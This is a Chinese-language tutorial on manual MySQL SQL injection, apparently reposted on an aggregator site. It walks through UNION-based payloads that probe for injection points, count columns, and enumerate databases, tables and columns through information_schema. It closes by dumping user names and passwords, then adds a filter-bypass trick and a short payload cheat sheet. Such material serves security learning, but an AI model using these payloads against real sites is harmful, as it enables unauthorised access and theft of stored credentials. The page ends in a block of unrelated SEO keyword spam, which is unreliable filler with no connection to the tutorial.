千家信息网

mysql手工注入

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,information_schemaSQL基础1.1 什么是sql?SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大
千家信息网最后更新 2025年01月20日mysql手工注入


information_schema


SQL基础

1.1 什么是sql?

SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大的关系数据库语言,但其功能并不仅仅是查询。

1.2 mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。来源于百度百科

SQL注入基础

2.1 什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说,SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)来插入或修改后台SQL语句达到代码执行从而进行***的技术。

2.2 SQL注入***产生的原因

出现SQL注入***漏洞的主要原因是:许多网页程序员在编写代码的时候,没有对用户输入数据的合法性进行严格的判断和过滤,从而导致应用程序存在该漏洞。

2.3 mysql注入***的方法

对于mysql注入常用的方法主要是以下两种:
(1)手工注入。
(2)使用工具注入

2.4 mysql手工注入原理

在mysql手工注入中主要是利用mysql自带的information_schema数据库,information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。简单点说,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema数据库里面。

mysql手工注入详解

3.1 基本环境介绍

涉及数据库:learn,涉及表:users。


表users

3.2 判断注入点

and 1=1(正常显示), and 1=2(非正常显示) ,但不限于此。也可以是3>1(正常显示),3>5(非正常显示)等。

3.2.1判断uid是否存在注入点

本身查询语句为:SELECT uid,username FROM users WHERE uid=1


本身查询语句

3.2.2 判断原理

SELECT uid,username FROM users WHERE uid=1 and 1=1


正常显示

SELECT uid,username FROM users WHERE uid=1 and 1=2


非正常显示

3.3 查字段数

3.3.1 order by排序

order by 主要是用于排序,用法基本为:order by <列名> [ASC | DESC]

列名可以是select后面的列名,也可以是数字,代表第一列或第几列!查询字段数也是根据order by排序的列名可以是数字来进行判断的。

3.3.2 查当前查询中的字段数

本身查询语句:SELECT uid,username,phone FROM users WHERE uid=1


本身查询结果

查当前字段数目(列数):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3


正常显示

SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4


非正常显示

因为当前页面查询的语句中只查询三个字段,所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数,前一个正常,后一个异常,那么该正常的就是当前查询中的列数。

3.4 查询字段在页面中的显示位置

联合查询数据显示位置,不成立条件+union select(如果前面是成立的话页面中会看不到想要的信息),也可以是 前面条件不变+union select + limit m,1。(如果看到页面中信息有union select查询中的数字时,那么也是可以看到字段显示在页面中的位置,但是如果查询信息过多的话则不适用,因此推荐使用前面的那种方式)。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3


显示查询字段在页面中的位置

3.5 查询基本信息

查询基本信息主要是利用数据库中的内置函数来获取信息。
1. version()--MySQL版本
2. user()--用户名
3. database()--数据库名
4. @@datadir--数据库路径
5. @@version_compile_os--操作系统版本
我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()


查询基本信息

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()


查询基本信息

另外,我们可以使用字符串连接函数一次性查询多条信息:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)

0x3B是分隔符, ; 的十六进制!


使用连接函数查询多条信息


连接函数例子

高级查数据库:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1

LIMIT 9,1是从第9个数据库开始查询一条记录,使用这个可以逐个查询数据库中有哪些数据库。


高级查数据库


只运行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3


limit m,n 例子

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA


查询当前连接中有哪些数据库

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS


查询当前连接中有哪些数据库

3.6 查表名

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a


报错

这里需要将数据库名转化为十六进制


转化为十六进制

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a


查询指定数据库表名

只运行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E


原理


原理

高级查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E


高级查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E


高级查表

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E


高级查表

3.7 查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a


查字段

这里可通过limit m,n循环查询,也可使用GROUP_CONCAT函数一次性查询。


一次性查询

只运行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273


原理

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a


原理

这里可以使用limit m,n来逐个(limit m,1)查询。

高级查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E


高级查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273


高级查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E


查字段


查字段

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273


高级查字段

3.8 查字段内容

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users


查字段内容

这里可使用limit m,1来逐个查询,也可以使用GROUP_CONCAT函数一次性查询。


使用连接函数

SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users


连接函数一次性查询

工具注入

对于使用工具来进行注入,最好时首先手工判断下,如果是或者怀疑是,那么就可以丢给工具来进行注入。

4.1 SQL注入工具

工具有但不限于以下几种:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。

4.2 工具注入优缺点

工具注入是可以节省很多时间,但是仅仅靠工具也不一定能利用该漏洞,因为工具有自己的局限性,不如手工那么灵活,简单来说,如果应用程序有了一定的过滤,那么就需要灵活地使用手工注入,如果程序在把查询语句插入到数据库中时把<>过滤了,那么就可以根据这一特性进行简单的绕过,如u<>ni<>on s<>el<>ect 1,2,3。

information_schema简单介绍

直接上图

用于加深对上面涉及到的相关信息的理解。详细信息请自行查看information_schema数据库里面涉及的相关表信息!


information_schema


information_schema.columns


information_schema.schemata


information_schema.processlist


information_schema.tables


information_schema.partitions

以上这么复杂纯属装逼,下面分享简单版的mysql手工注入!


UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata 查所有数据库


UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名' 查表


UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn' 查字段


union select group_concat(字段,字段) from 表名


查询 数据 数据库 字段 信息 高级 函数 页面 手工 工具 原理 语句 一次性 位置 程序 排序 输入 十六进制 就是 数字 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 专业网络安全培训方案价格 服务器系统盘多大合适 即墨区微信小程序软件开发推荐 web使用数据库查询 软件开发方法的主要模型有 软件开发人力成本占比 阿尔法科技先驱数据库 网络安全 区块链 白皮书 网络安全工作责任制目标 软件开发知识产权归甲方 北京必果互动网络技术 部队网络安全网上六有心得体会 揭阳app软件开发公司 非关系型数据库的特点 店数科技互联网公司 二调数据库更新技术流程 我对网络安全的承诺 简述cad软件开发的基本要求 王者服务器优化啥时候结束啊 南京正厚软件开发面试 数据库备份没有后缀名如何还原 幻视九歌服务器多少人 战神遗迹s1服务器 南山区新一代网络技术开发商家 美国大学 网络安全 mdb数据库文件下载 plsql使用数据库 数据库系统管理数据的主要特点是 福建审批管控软件开发平台 无线充软件开发培训
0